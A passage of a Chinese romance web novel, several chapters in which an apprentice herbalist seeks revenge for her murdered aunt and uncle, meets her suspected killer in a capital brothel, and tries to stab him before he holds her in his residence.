白更生被夸得满意极了,他对这小丫头素来垂怜,见她好学,天资聪颖,也有意多传授她些,更别提这丫头嘴甜,一口一个师父叫着,他都听习惯了。 “行了,别吹捧为师了,为师看看你说的宝贝。” 姜醉眠献宝似的在竹篓里上翻下翻,找出来一根干枯垂死的植株。 “师父您看,这是不是您上次在医书中给徒儿看过的仙草?” 白更生接过来仔细摆弄,额前皱起深纹,随后脸色一变,将那植株往她脑袋上一扔。 “什么仙草!这就是棵杂草!” “怎么会呢?”姜醉眠心有不甘地捧着那棵颤巍巍的枯枝看了又看,秀眉也跟着蹙起来。 “师父,这不可能是杂草,您再仔细看看呢?您看看这纹路,这枝叶……” 白更生被她气得够呛,刚觉她聪颖值得栽培,她就拿了株枯草当成宝贝似的来给自己添堵。 “你给我回去将《纲目》从头到尾抄一遍,下回来时为师检查!再给我摆弄你那枯草就给为师滚出去!” 姜醉眠忙把手中枯枝反手扔了,却还恋恋不舍地回头望。 “还看!” 白更生刚要训她几句,便见门外进来一人。 面如冠玉,剑眉冷眸,沉着眼眸看人时肃杀沉寂,气场骇人。 白更生看着那张俊美异常的面庞,思索着捋了捋白须。 姜醉眠将其他草药放置进了药箱中,提着竹篓垂头丧气:“走罢。” 路予行没再多言,对柜台后的老者谦逊颔首,便准备一同离开。 白更生却忽然叫住二人:“慢!” 他走到路予行跟前,绕着他上下打量几圈:“这位公子,可否让老夫替你搭个脉?” 白更生虽久不为人看诊,可一上手便知,此人脉象极其紊乱,且中空虚亏,非长久之象。 他收了搭脉的手,转而按中虎口穴位,找准寸劲猛然用力。 路予行忽觉胸口处一片浓郁血腥翻滚腾涌,他想用内力强行压下,却因动气而控制不住血气逆行,喉间猛然腥甜,他不可抑制地吐出口血来。 那双敛尽寒意的凤眸阴沉垂下,缓缓抬手,面不改色用手背擦了下唇角血渍,再抬眼时,冷冽杀意在深谙眸底闪过,邪肆可怖得仿若变了个人。 一旁的姜醉眠见他竟然吐血,心中一紧,不由失声喊道:“师父!” 白更生并未发现眼前人有过一瞬想杀自己的念头,他递给路予行块干净帕子,问道:“路公子因何受伤?” 路予行嗓音微哑:“被劫匪所伤。” “可老夫所知,劫匪虽杀人越货,却并不会使阴毒招数,”白更生道:“路公子身重剧毒,自己可知?这毒名为暹红,着实罕见,外表看不出什么,可会致人内力亏损,日积月累,毒发暴毙,路公子会武,自己的内力紊乱至此,难道不察?” 见路予行不语,似是默认,姜醉眠问道:“可有办法解毒?” 白更生沉吟片刻:“无法。” 他现下确实无法,解毒所需的珍稀药材世间罕有,寻常人家不可能弄得到,因此中了此毒,必死无疑。 从药铺出来后,二人皆心事重重。 姜醉眠想到师父方才嘱托自己的话,这暹红之毒罕见至此,劫匪从何而得?若路予行并不是被劫匪所伤,难不成,是招惹了什么权贵? 不管是何缘由,此人都深不可测,不能与他过多纠缠。 况且,方才他那么迟才来药铺,难不成是先去了别处? 姜醉眠心中有事,便走了神,一不注意被人撞了满怀。 她痛哼一声,瞧见是个瘦弱的小姑娘,衣着凌乱,发髻垂散,紧紧抱着她的手臂,神色慌张地往后看,生怕有人追上来似的。 “她在那!” “快去把她给我抓回来!” 几个彪形大汉忽然出现,穿过人群匆匆跟来。 小姑娘见状,吓得抖成了筛子,两只乌溜溜的大眼睛像冒水的泉眼,啪嗒啪嗒往下掉眼泪。 “姐姐,求求你救救我吧,我不想去卖酒,求你救救我……” 大汉已然赶到,一人一边扯住小姑娘的胳膊就要将人拖走。 她哭得撕心裂肺,望着姜醉眠哭喊:“姐姐,求求你了姐姐,求求你……” 姜醉眠终是于心不忍,上前拦下几人:“你们是什么人,光天化日,为何强行抓人?” “我们是镇上酒馆家的,这小娘们被她酒鬼老爹卖给我们酒馆当卖酒女了,我们现在带她回去是天经地义!” 小姑娘双眼哭肿得像核桃,拼命摇头抗拒。 她看起来不过十四岁模样,却要被那群酒肉池林脏陋粗鄙的酒汉当玩物。 那酒馆不是什么干净地方,好买些年轻女子做卖酒女,姜醉眠对此早有耳闻。 “她的卖身钱多少,我替她赎身。” 此言一出,周围看戏百姓均拍手叫好。 大汉犹豫几分,伸手比划:“足足五两。” 路予行只是勾唇冷笑。 草民贱命,原是不过五两。 姜醉眠一口应下:“好,五两就五两,她的卖身契呢?” 大汉在怀中掏出张纸:“一手交钱,一手交人。” 姜醉眠装模作样也在怀中摸索半晌,随后转头问身后的人:“能不能,借我五两银子?” 路予行倒是没想到她脸皮挺厚,挑眉看她:“没钱还想充英雄?” 姜醉眠压低声音,语气颇为讨好:“人命关天,你就先借我五两,我破了银票立马便能还你 7. 复仇 “我们去京城罢。” 《报错仇后被疯批独占了》全本免费阅读 姜醉眠不知自己是如何奔回家中的。 只记得月明风清,银辉皎洁散落满地,映照着满院猩红狼藉。 杨望平仰面朝天躺在地上,浅灰色粗麻布衣已被血水染红,两只手臂被残忍地齐根斩断,只剩一小截血肉模糊的筋肉相连,白骨森森。失去血色的脸颊苍白无力,隐隐露出青灰之色,努力瞪圆的双目空洞无神,瞳孔涣散,再无半点生意。 而赵兰俯身趴在他的尸体旁,姿态僵硬扭曲,后背靠近心脏处被捅了个明晃晃的血洞,流出的血液早已干涸成结,一旁的沙土砾石上空留一条蜿蜒弥漫的血迹,像是费劲挣扎着从远处爬来,在濒死之际也要与夫君相守。 二人尸身凉透,就这么晾在夜星明月下。 姜醉眠耳际轰鸣作响,仿若再听不见也看不见其余,目之所及只有惨死的叔父叔母。 她错愕万分地张着嘴巴,却喉咙哑得发不出一丝声音,浑身颤抖,手脚并用地爬到二人尸首跟前,想要伸手触摸,但怎么也不敢碰到。 她怕摸到的只是冰冷的尸体,她怕自己真的永远失去了最亲近的家人。 眼泪不受控制地砸落在地,啪嗒,啪嗒,汇聚成一小滩莹亮水渍。 分明今早还是有说有笑地离开,叔父还责骂了她两句,叔母一惯地护着她。 可为何只是一日不见,等她回来的就不再是亮起灯的瓦屋,而成了面前这副惨状。 “叔父,叔母,”指甲深深嵌进掌心嫩肉中,姜醉眠哽咽道,“我以后,乖乖听话,你们快醒来,好不好……” 无人作答,回应她的只有一阵寒风呜嚎,如泣如诉,似在言说,方才这座小小院落中发生了何等惨烈悲壮之事,才会让两个良善无辜之人死于非命。 “你是,眠丫头?”村长刚从外面匆匆赶来,震惊不已:“你居然还活着!” 陆续几个村民也赶了过来:“既然姜醉眠还活着,那是不是杨月樱也还活着?只是实在不知她去了哪里,四处都已经找遍了,也没找着人呐!” 对了,没看见阿樱的尸体,是不是代表阿樱没出事?! 姜醉眠如梦初醒,狠狠摸了把脸颊,抬眼时一双桃花眼红得肿胀,巨大的悲怆痛苦从破碎眼底流露出来。 “阿樱没死,她没死对不对?” 村长面色犹豫,朝着旁边几人使了使眼色。 有人回答道:“这个,我们也不敢说,只是有人看到杨月樱的尸首先前也是躺在这院子里的,可不知为何后来我们赶到的时候,唯独她的尸首消失了。” “她一定没死,阿樱一定还活着,我要去找她……” 姜醉眠从地上起身,单薄身影晃了两下,险些栽倒在地,可她目光决绝,眼底满是倔强坚韧的红血丝。 村长几人欲拦下她:“眠丫头,你自己出去找也没用啊,我已经派人在外面找了好几圈了,都没有璎丫头的下落,现在天黑了,你这么出去实在危险啊。” “可是阿樱一个人在外面肯定很害怕,她在等我去找她,我一定要找到她的,”姜醉眠脸色苍白如纸,未干泪痕挂在两颊,芙蓉泣露般脆弱惹人怜,“我只剩她了……我只有她了……” 她脚步虚浮,方跑至门边,就因痛苦太甚支撑不住,眼前袭上一阵晕眩,两腿一软便失去了意识。 幸而一双手及时将她打横抱起,纤细温软的身子稳妥陷入方宽阔安稳的怀抱。 那一瞬间,仿若回到了小时候。 也是这样一个明月高悬的夜晚,她带着满身狼藉,从尸山火海中爬出来。 好像也有一个温热的怀抱,居高临下地俯身,将她从鬼门关抱回。 * 再醒来的时候,面前有一张放大的娃娃脸。 “姐姐,你醒了!” 青彤眼中满是惊喜,小心翼翼将姜醉眠从床榻上扶起。 “这几日你一直昏昏沉沉地睡着,都快吓死我了,有几次你起了高烧,村长请郎中来帮你看过,幸好如今无事了。” 青彤端过来一碗黑苦汤药,吹凉了递到姜醉眠唇边:“姐姐,你先把药喝了吧。” “阿樱……”姜醉眠开口,嗓音嘶哑得不成样子,且一说话就像是吞了针般疼痛。 青彤知道她想问什么,却不知该如何回答才能对她刺激小一些。 “阿樱姐姐,还,还没有找到,可能,是掉进河里被河水冲走了,也可能是摔下山崖,找不到尸首了……” “咳咳……” 闻言,姜醉眠猛烈咳嗽几声,喉间便涌上股腥甜。她费力压下,挣扎着从榻上起身,可身体过于虚亏,双腿也根本使不上力气,刚一沾地,便脱力似的摔倒在地。 “姐姐!”青彤连忙放下药碗过来扶她,“你没事吧?郎中说了,你得静心卧床几日,好好休养才行。” “叔父叔母呢?”姜醉眠胸口痛得厉害,双眼又盈满泪意,眼眶中盛不下后,便顺着尖细的眼尾缓缓落下。 青彤也跟着红了眼眶:“村长和长辈们帮着操办后事了,村长说,人死不能复生,叫姐姐千万要节哀。” 节哀,这样的飞来横祸,要她怎么节哀? 姜醉眠沉默阖目,眼泪却像是断了线的珠子,只管扑簌簌落下。 叔父叔母与她有养育之恩,就仿佛她的亲生父母般,可她如此无用,竟连尽孝的机会都再也没有了。 “他们,是被人杀害,”姜醉眠睁开眼睛,望向前方的眼神心事沉沉,“我要去报官,定不能让他们无辜枉死!” * 二老入土为安后,牌位也被拿回了家中供奉。 而路予行自那夜之后就忽然消失了,仿若从来没有出现过。 姜醉眠本无精力操心此事,青彤在她病时照顾了她好几日,她也无法狠心赶人离开,便留她在家中住着,二人相依为伴。 等姜醉眠能下地走路了,二人便去镇上报了官。 杨家二人惨死家中,一人无故失踪,杨家近乎被惨烈灭门。 这样罕见的大案,府衙该加以重视,尽快调查此案才是。 可距离报官之日一晃就过去一个月,竟也无丝毫动静。 姜醉眠带着青彤便又去府衙申冤,官老爷再次应承下来,只说会尽快破案,给死者一个交代。 可这尽快究竟是多久,没人知道。 可能一月两月,也可能三年五年。 白更生是见过世面的,他告诉自己的小徒儿,这世上无解之事多如牛毛,悬案冤案也数不胜数,可这就是为官之道,不可强求。 但为何不能强求? 十年前,父亲被判通敌之时,皇上不听一字辩解,就下令满门抄斩。 十年后,叔父分明已经辞官归田,他们只是想在这穷乡僻壤安稳度日,也成了一种奢望。 生于清明天地间,只想求一丝公允,怎么就成了强求? 从镇上回到家,姜醉眠便跪在了叔父叔母牌位前,沉默不语,一跪整日。 青彤瞧见她日益消瘦的身影,担忧得愁眉苦脸,若是再这么苦心熬下去,她怕姐姐有一天也会随二老去了。 村长带着苏大娘来敲院落的门时,姜醉眠还跪在牌位前,青彤正想法子如何能让她进些食。 “村长,您怎么来了。” 青彤迎着二人进了屋。 村长见姜醉眠骨瘦如柴,整个人憔悴得仿若快要没有生气,心中也万分不忍。 “眠丫头,有个消息我琢磨了几日,觉得还是应该告诉你,”村长斟酌着语气说道,“前几日孙老二和他媳妇从京城回来 8. 青楼 《报错仇后被疯批独占了》全本免费阅读 只是没想到时间过得这样快,一晃已过去三月有余。 姜醉眠更没想到的是,会在青楼里再次遇见路予行。 雅间众人在看清忽然闯入的美人面目后,目光中皆隐隐流露出惊艳之色。 只容色清丽仿佛泣露芙蓉的秀美面庞不施粉黛,却浮上层清纯红晕,更加映衬得宛若娇弱桃花。 一双生来便是勾人摄魄的潋滟桃花眼,此刻因为震惊瞪圆,眸中被繁亮烛火映亮,水光摇曳。 身着水袖碧裙的曼妙身姿若隐若现,纤细柳腰不盈一握,方才那抹莹润美背被滑腻墨发遮掩大半,原本该是媚态横生的装扮,此刻却因美人儿清逸脱俗之姿,更令人神魂俱销 “想不到这小小的醉红馆,竟然还有如此绝妙的人儿,”坐中一模样英朗的男子豪迈开口笑道,“依我看呐,这楼下的花魁,该当另择佳人才是。” “哈哈哈,赵兄所言甚是!我也觉此美人与这其他美人都不太一样,想必,该是别有一番风味啊。” “哦,这么说,李兄可曾尝过?” 那位李兄眼神颇为露骨地在姜醉眠身上打量两圈,随后笑道:“我倒是有意,只是不知厉兄可否舍得忍痛割爱啊?” 两人一番调笑,却被面前男子出声打断:“李兄是这京中秦楼楚馆的常客了,想必各色美人都早已领略过了。” 他一边说着,目光一边也在姜醉眠身上落下片刻,只是俊脸上似乎有些不好意思,又不着痕迹转移开来。 “瞧瞧,这还未如何呢,厉兄已经开始护起来了,”赵兄说道,“这位美人儿好福气啊,咱们厉兄可是出了名的温柔似水,跟了厉兄,以后少不了你的好处。” 只是几人的调笑,姜醉眠却充耳不闻。 她甚至没听见自己已经默认被指配给了侍奉面前这位温润俊逸的公子,黑瞳水亮,只一味直勾勾盯着那坐中未发一言的人看。 日思夜想了数月之人现下活生生出现在眼前,姜醉眠却双脚宛如灌铅,坠在原地动弹不得。 这些日子以来,她无一日能睡得安宁,只要一闭上眼睛,便是叔父叔母月光下惨死的画面。 她日日想,夜夜想,既然天不许正义,那她便亲自动手,手刃了那恶徒,好为叔父叔母报仇。 眼下路予行就坐在几步之外,姜醉眠却不得不多想些。 他到底是何身份?这满屋之人又都是何人? 能在醉红馆寻得这么一处雅间,又能叫来容貌姿色皆是上乘的姑娘们侍奉,不可能是等闲之辈。 若她此刻用头顶的素银钗,插进那人的咽喉之处,大仇得报,成功的几率有多大? 姜醉眠双眸微微泛红,心脏骤然急速跳动起来。 想到能让仇人血溅当场,她便觉得浑身都躁动难安,恨不能立即便遂了心愿。 但理智稍稍归位,她便也知现下绝不是最好时机。 其余众人瞧着姜醉眠只字不语,只是目光灼灼地看着上坐的人。 而那位身份矜贵无比,竟然也不开口,薄唇淡淡勾起抹无谓笑意,侧过脸去喝旁边美人儿杯中的酒。 “厉兄啊,这美人儿怎得只看着咱们路兄呢,难不成,是早已有意与路兄了?” “这满京城属意与路兄的人还在少数么?纵使知道咱们路兄万花丛中过,片叶不沾身,那些权贵之女还不是各个都想往上贴?可惜了,咱们的路兄啊,竟也没一个瞧得上眼的。” 闻言,站在姜醉眠跟前的那位温润公子也心生好奇,转身问道:“路兄,可曾见过这位姑娘?” 雅间内众人视线一齐看过来,只等坐上人发话。 路予行一手搂过身旁媚眼如丝的美人儿,任由那双柔弱无骨的柔胰搁置在他胸膛,随后才缓缓挑起凤眸,目光沉沉望过来。 “过来。”浸了酒意的嗓音醇厚低沉,对着不远处站在明亮烛光下的人说道。 姜醉眠没打算移步,却被两个美人儿挽住了两侧手臂,将她强行拉至了桌前。 沾染了些许醉意的狭长凤眸微微眯起,漫不经心地在那抹柳腰上扫过,明显瞧出她僵直的姿态后,便盯着她的双眼,勾着唇角姿态慵懒。 “未曾。” 姜醉眠一口气猛地提至胸口,罗裙下的掌心紧紧攥住,尖尖的指甲嵌进嫩肉中,才能让她保持住些许的冷清。 他竟然说不认得自己。 好啊,那等到自己割断他咽喉的时候,希望他还会这样说。 那厉兄骤然松了口气,他刚才当真害怕会听到两人认识。 “既如此,那姑娘可曾见过路兄?” 姜醉眠弯了弯唇角,嗓音有些冷意:“也未曾。” 身旁的美人儿便拉着姜醉眠落了座:“早就听姑姑说了,咱们醉红馆新来了几位姑娘,只是一直没有见过,今日见了妹妹,当真是国色天香,咱们姐妹们可真真儿都比不上了呢。” “就是啊,姑姑偏心,怎得妹妹近日第一次侍客,便遇到了几位公子,姐姐们都羡慕得很呢。” 姜醉眠无心应付她们,她能在这桌上心平气和地坐下来,左不过想多知道些这些人的身份背景罢了。 尤其是路予行的。 不过他这个名字想必也是假的。 这几人虽以兄弟相称,看起来却并没有那么熟络。 姓赵的和姓李的坐得离路予行更近些,这姓厉的就坐在她旁边,倒是当真规规矩矩,离她保持了些距离,连她的衣物都没有碰到。 “姑娘可会饮酒?”身旁人礼貌问道。 姜醉眠道:“不太会。” 说完,却见对面那人竟又顺着身侧美人儿的手饮尽了一杯。 美人儿不知贴在他耳侧说了些什么,媚笑声不止,两人举止亲昵,衣袍也紧紧纠缠。 还当着这么多外人的面,就这么旁若无人,不知廉耻! 没想到他竟然是这种放荡轻贱之人,当真是人渣败类! 姜醉眠怒火中烧却无法发作,气得抬起来跟前的一杯酒仰头饮尽。 辛辣烈酒顺着喉咙一路烧下去,姜醉眠被呛得眼泪花都涌上来了。 这酒竟然烈成这个样子,嗓子里像是快要烧着了般,她捂着脖子,脸色难看。 “姑娘不是说不会饮酒吗?”身旁人忙端了杯清水给她递过来,“怎么喝得这样急,这酒烈,容易上头,应当慢慢饮。” 姜醉眠接过水杯,道了声谢,便赶紧喝下润润嗓子。 两人都没注意到,对面有道阴恻恻的视线望过来,只停留一瞬,便收了回去。 没过半刻,桌上另外两人就干柴烈火快要干起来了。 小厮进来,引着众人一一进了脂房,今夜几人注定要在这里过夜的。 姜醉眠自然随着姓厉的进了同一间房。 房门关上的时候,她抬眼,便瞧见了迈入长廊另侧脂房的路予行,怀中还搂着方才喂他饮酒的美人儿。 “姑娘别怕,我也是第一次来此烟花场所,我不愿污了姑娘名声,只在此稍坐片刻,等会便要离开了。” 姜醉眠转身,似乎没想到他竟然一本正经到如此地步。 来了青楼,却还在意这里姑娘的名声。 “敢问公子如何称呼?”姜醉眠道:“我来京不久,又足不出户,对于京中并不太熟悉,还望公子海涵。” “无妨,在下厉云 9. 咬他 《报错仇后被疯批独占了》全本免费阅读 “路兄?”厉云川望着门边,异常讶异,“你不是随仙梦姑娘去了吗?怎得又……” 姜醉眠听见门边的动静,回头一看,没想到居然真的是他! 路予行双眸压低,不言语时气场凌厉,逼迫得人胆战心惊。 厉云川早已放开姜醉眠手腕,她也站稳了身子,只是不知为何,她瞧着面前走过来的人有些重影。 努力晃了晃头,再费力地定睛去看。 人影倒是不重了,但怎么,站得离她这样近? 是当真以为自己不敢杀他吗?! 路予行站定后,便闻到姜醉眠身上传来的一股酒香,混杂着极为清淡的草药香,倒像是味药酒。 再看着那双盈满了迷离水光的桃花眼,便知道她这是醉意上头了。 “她身子不适,我便让她回去歇着了,”路予行盯着面前人微微泛红的眼尾,问道,“你们二人看起来,倒是愉快得很。” 姜醉眠头脑越来越晕,只感觉脚下软绵绵的像踩在了棉花上。 而眼前能看见的,便是一截白皙修长的脖颈。 是仇人的喉咙。 她听见仇人开口说了什么话,可听得并不真切。 自顾自磨了磨牙齿,瞅准了时机,便忽得朝着面前的人身上扑了过去。 厉云川被她突如其来的举动吓了一大跳,慌不择言地惊呼道:“殿下当心……” 谁知路予行并未推开她,反而伸手一捞,竟是直接将温香软玉接了满怀,劲瘦有力的手臂横在细腰上,单手便可轻松将怀中人整个圈入在内。 微冷手掌附在那段露在薄纱之外的凝雪腰背上,握住大半后,掌心下的肌肤腻如滑脂,紧紧贴住,便能感受到底下隐隐传来的温热。 那股混杂在一起的药酒香味更加浓郁,扑鼻而来,竟然别样地动人心魄。 只不过数月不见,竟然瘦了这样多,抱起来轻飘飘一片,像落进了怀中的羽毛一般。 今晚她看自己的眼神一直恶狠狠的,像要吃人。 难不成,是她知道了什么? 路予行尚未言语,却忽然感觉喉结处一热,仿佛被一口温润泉眼含住。 可随之而来的,是几乎刺破皮肤的尖锐刺痛。 下巴处蹭上来颗毛茸茸的脑袋,他怀中稳稳抱着的人,正像只小兽似的狠命啃咬他的喉结。 若是人能长出犬牙,恐怕他真的会被咬穿喉管血溅当场。 他腾出只手,扶住了怀里人的后脑勺,见她还咬着不松口,心想这小东西脾气看来也见长了。 五指顺势插进柔顺发丝中,带着安抚意味的上下揉捏了两下。 厉云川不知这是发生了何事,再一转眼的时候,面前那抹肤如凝脂的美人背便已经被黑色锦袍遮盖住了。 严丝合缝,不叫人再多看去一眼。 “路兄……” 厉云川瞧不见姜醉眠伏在路兄胸口干什么,便想上前将她拉下来。 要知道这位路兄虽然流连花丛,可对那些主动投怀送抱之人却是再鄙夷不过,连多看一眼都会觉得厌恶不堪。 更何况姜醉眠是他先看上的,如果路兄也对她有意的话,他可不想姜醉眠被人抢走。 可他还没碰到那片青纱,路予行就将怀中人打横抱起,宽大衣袍将人尽数遮掩。 并未打算解释什么,路予行抱着人就朝门外走去。 厉云川见状,心中一时愤懑难舍,跟上去说道:“路兄,这位姑娘像是喝醉了,若一时不慎冲撞了你,还望你能饶恕她言行无状。” “饶恕?”路予行轻勾唇角,“那要看她是何居心。” 抱着人从脂房内出来,在长廊上正好遇见四处寻找姜醉眠的鸨母。 “哎哟,路公子,今日怎么没在此过夜,这就要走了吗?方才仙梦还跟我抱怨,说您把她扔在房中就直接走了呢,这是又看上了我哪个姑娘了?” 鸨母说着走近一看,顿时瞪圆了眼睛惊讶不已。 “这这,这不是我馆内姑娘,我的路公子哟,这可是个天大的误会啊,这位是我花钱请来的女郎中,是来帮姑娘们瞧病的啊!只不过她怎得穿成了这副样子?” 姜醉眠迷迷瞪瞪,被抱着一步一晃,晃得头晕脑胀。 头顶只能瞧见清晰锋利的下颌,在忽明忽暗的烛火下也晃得厉害,还以为自己是躺在船上做了场大梦。 路予行脸色阴沉不悦,只斜睨了那鸨母一眼:“今日若非被我遇见,你这馆子明日便可封门了。” 鸨母的七窍玲珑心一听,便知道这位路公子定是瞧上这女郎中了。 “哎哟路公子,您可大人有大量,别把我们这馆子封了啊,我今夜找这姑娘找了好半晌,还以为她是有事提前离开了,谁知道她竟是和您在一起呢,我知她住处在哪,现在就可告诉您,您就别跟我一个妇道人家置气了。” 鸨母说完,便凑近过来,将那处永巷的位置告诉了路予行,还一路将二人送上了等在侧门口的马车上。 等到马车驶远之后,鸨母才痛打了办错事的小厮一顿。 “你可知今夜险些惹了大祸!那女郎中以后断不可再用,再去给我寻个新的来!” 小厮惨兮兮问道:“姑姑,那个姓路的究竟是何人物,怎么连咱们也要如此敬他?要知道咱们背后的大东家可是……” “你啊,真是蠢死算事!”鸨母又狠狠地敲了他脑袋一下,“东家可是你能随便议论的?” 更何况,那位的身份,可跟他们东家差不了许多。 * 姜醉眠不知自己身在何处,只是觉得周围好像摇晃得更厉害了些。 她长久保持一个姿势浑身难受得很,稍稍撑起胳膊挪动了下身子,身下垫得不知是什么物体,又软又硬的,不太舒服。 可头实在太晕了,她眼睛睁不开,便准备继续睡下去。 “彤儿,帮我捏捏手臂,麻了。” 语毕,当真有只手附了上来,替她细细揉捏。 这力道不轻不重,捏得轻轻软软的鼻音闷哼了声,随后便撒娇一般又伸出了另一只手臂。 “这个,也要。” 那只手便又伸过来替她揉捏起来。 彤儿的手艺如何进步得这样快,竟然知道她哪处最为酸软。 “彤儿,你真好……” 一道低沉嗓音带着笑,极轻极缓地猝然在耳畔响起—— “舒服么?” 怀中半躺着的人似乎对他的声音极为敏感,即使醉意朦胧,却还是强撑着掀开眼皮,抬眸看过来。 入目便是大片墨黑金丝滚边锦袍,再稍稍往上抬眼,竟然正对上双充满玩味兴致的凤眸。 姜醉眠头脑晕沉得很,便又以为自己是在梦中。 她早已不知做了多少个寻到路予行的梦,可每次眼看着就要复仇成功之时,又总是会惊醒过来。 10. 刺杀 《报错仇后被疯批独占了》全本免费阅读 里面出来个奴仆去牵马车,蔺风便随着一同进了院中。 地处幽静,这处院落也格外别致,院中装饰简约却彰显贵重,光是那玉墙石壁便是寻常人家这辈子都见不到的。 “主子,”蔺风快步跟上前面的人,在身后恭敬地说道,“方才府上派人来信,说……” 话没说完,便被道不悦的嗓音出声打断:“你是越发会当差事了。” 蔺风想到主子从不会在外人面前商讨正事,如今虽然怀里那位醉了昏睡着,可也不能不提防着些。 “卑职失察。” 路予行已经抱着人穿过了长廊,来到了处厢房外。 “打盆水来。” 轻飘飘扔下句话,他便提步进了房内。 蔺风忙道:“是。” 将房门轻轻掩上,蔺风心道看来主子今日心情颇为不错,若是放在平常,手下人即使犯了小错,也会被处以鞭罚。 只是主子平日里也经常出入醉红馆,但是以往都是去找仙梦姑娘,还从来没见主子带回来什么人过。 今日,怎么如此反常? * 姜醉眠迷迷糊糊之中,感觉到有人在耳边轻声说话。 “张嘴。” 她不受控制的听了话,唇间便抵上个温润的硬物,随后唇间仿若甘霖降落。 她喉咙早就干涩不已,现下赶紧迫不及待喝了几大口水,总算是舒服了不少。 这会儿晕沉的感觉也减轻了些,整个人都没有那么晃了。 她轻轻睁开眼睛,周遭黑漆漆的,只有微弱的烛光摇曳。 隐约能瞧见头顶是陌生床幔,而且她的床边竟然还坐着个人。 迷蒙桃花眼用力眨了眨,待看清楚路予行的脸后,她险些从床榻上跌落下来。 怎么,怎么会是他?! 幸而一双手及时将她接住,又稳稳托回榻上。 姜醉眠狠狠咬住唇上软肉,痛感瞬间袭来,她意识登时清明异常,原来这并不是梦! 她想了许久的仇人,现下当真就在眼前! 情绪骤然太过激动猛烈,她呼吸都有些微微颤抖,双手也攥紧了身侧轻纱,一时竟不知该作何反应。 梦中幻想过无数次的场景如今成真了,姜醉眠却又有些怕了。 她不怕死,她怕死之前不能报仇雪恨。 这里应该是他的住处,而他身份深不可测,若自己不能一击即中,那便会跌入万劫不复之地。 可他为何要将自己带回来?难道他不知自己来此的目的? 还是说他明明知道,却假装不知道? 路予行见她又是那般眼神,像是要把自己盯穿。 “怎么来的京城?” 他一边开口问,一边起身去桌边倒茶。 姜醉眠见他背对着自己而坐,像是完全不设防的样子。 她一边扫视房内摆设,一边竭力让自己的嗓音听起来镇定自若:“坐了几日马车,又走了一个多月。” “又怎么去的醉红馆?”路予行继续问。 “鸨母叫我去给姑娘们看诊,是手下人弄错了。” 姜醉眠鬼使神差地从榻上下来,赤着脚,轻手轻脚朝桌边走。 等到站在他背后,见他仍旧没有发觉,一口气便深深地提了起来。 她从发间拔下根素色银钗,心跳不可遏制地加快。 只要快速将银钗刺进那段修长白皙的脖颈,鲜血便会争先恐后喷涌而出。 纤弱手腕当真高高举起,捏着银钗的指节却异常坚定有力,隐隐露出苍白关节。 在即将要刺下去的一瞬间,姜醉眠脑海中闪过一个画面。 远山青雾,路予行撑一把油纸伞。 暴雨骤落,竹叶斜飞,他在等她入伞下。 只不过一个恍惚之间,房门就忽然被人从外面推开了。 蔺风端着盆水进来,却正好瞧见姜醉眠高举银钗站在路予行身后的这一幕。 他反应极快,单手从袖口甩出一柄短剑,朝着姜醉眠面门径直袭来。 姜醉眠来不及做何躲避,只能瞪圆了双目看着那短剑霎时间就到了自己眼前。 在短剑即将刺中她额间之时,一股内力将她朝着背后用力一推,手中银钗“砰”一声落地。 那短剑堪堪擦着她额发而过,削下几缕青丝,随后猛地插入了后面的木柱上。 姜醉眠躲开了致命一击,却被那股内力推得后背撞上了坚硬冰冷的玉璧,眼前一黑当即晕了过去。 路予行见状,想也不想便上前将她扶起,指尖在她鼻下探了探,感受到温热轻柔的呼吸后,冷厉的眸色才稍微缓和了些。 蔺风连忙将木柱上的短剑拔下,拱手道:“主子,此女实在危险,方才她是想从背后偷偷刺杀,卑职一时情急……” 路予行将地上的人打横抱起,凤眸中满是阴冷沉寂。 “谁准你对她动手?” 蔺风察觉到面前人身上散发一股可怖的嗜血暴戾,慌忙跪地俯身:“主子!她来历不明,又想尽办法接近您,恐怕是有不轨图谋!” 路予行冷笑一声,抬脚便踢上了地上跪着的人。 “何时轮得到你来替我决断。” 蔺风爬起身来,擦了下唇边血迹,又恭敬跪好:“卑职不敢。” “没什么不敢的,”路予行沉声道,“自己下去领罚。” 蔺风称了声是,便小心翼翼地起身,倒退着从房中退出。 他倒是不怕受罚,主子将他救回来,他这条命就是主子的。 但是让主子和那个心有歹念的女子共处一室,他到底是不放心的。 方才那么危急的情形,以主子的内力,难道没有察觉出身后站着的人要杀他? 蔺风百思不得其解,关上房门之时,偷偷往里面又瞧了眼。 透过狭窄门缝,他瞧见自家主子温柔不已地将那女子放回了床榻,随后俯下了身去…… 蔺风慌乱地收回了眼神,不敢再看,自行前去刑房领鞭去了。 床榻上的人此刻安安稳稳合着双目,路予行视线从她巴掌大的小脸往下,胸口处的薄纱因为方才的动作早已脱落,露出琼膏玉脂般的雪白肌肤,虽然身形瘦弱了不少,但层峦仍旧跌宕起伏,柳腰细得更是没边。 再往下,路予行气得微勾唇角。 这么急着要杀自己,竟然连鞋都顾不得穿了。 他伸手过去,一只手便将她双足大半都握在了掌中,果不其然,凉得像刚踩在了冰上。 雪白莹润的脚趾看来秀气得可 11. 逃跑 《报错仇后被疯批独占了》全本免费阅读 一个人呆在房中苦闷,连个说话的人都没有。 姜醉眠斜靠在窗边的几案前,望着从外面探进来的几枝翠竹。 想来也是什么名贵品种,瞧着竹叶青翠,根节分明,磊落气节与这府苑主人简直大相径庭! 她恨得牙根痒痒,伸手用力拨弄几下,却忽然发现这窗台并不太高。 好像很容易就可以爬出去啊…… 偷偷瞄了眼门边,那两个小丫鬟一直守在外面,安静如鸡。 姜醉眠撩起裙摆,三下五除二便越过几案爬到了窗台边上,一条腿已经迈出了窗外,却忽然听见两道“嗖嗖”风声。 再一扭头,竹叶下站着两个冷面侍卫,怀中抱刀,正目光沉沉地看着她。 姜醉眠被吓了一跳,身子往后一仰,竟然直接从窗台上又掉了回去。 幸而几案四周铺了柔软地垫,她摔了个四仰八叉,好在并没有伤着。 姜醉眠抬眸,愤怒地瞪着那两个死人脸,谁知那二人并不在意,抬手一人一边,将窗子直接合上了。 这回好了,这精致厢房成了个金丝笼,将她困在了里面。 虽然不知道路予行到底想做什么,可姜醉眠不可能在此坐以待毙。 没一会,她便捂着肚子“哎呦哎呦”叫唤起来,为了逼真,还用茶水在额间点了点,装得冷汗淋漓。 果不其然,门外小丫鬟怕她出事,将门开了条缝偷偷往里看,便见穿着锦绣罗裙的人竟然在屋中抱着肚子满地打滚,看起来痛苦万分的模样。 “这可怎么办?”一个小丫鬟说道,“她看起来好像很疼。” “不必管她,主子只说了让看好她,其他的可没交代。”另一个小丫鬟说道。 “你傻呀,她要是出事了,你觉得主子会饶过我们吗?你没见昨日蔺风大人受了多重的刑罚吗?” “那,那我现在就去禀告主子。” 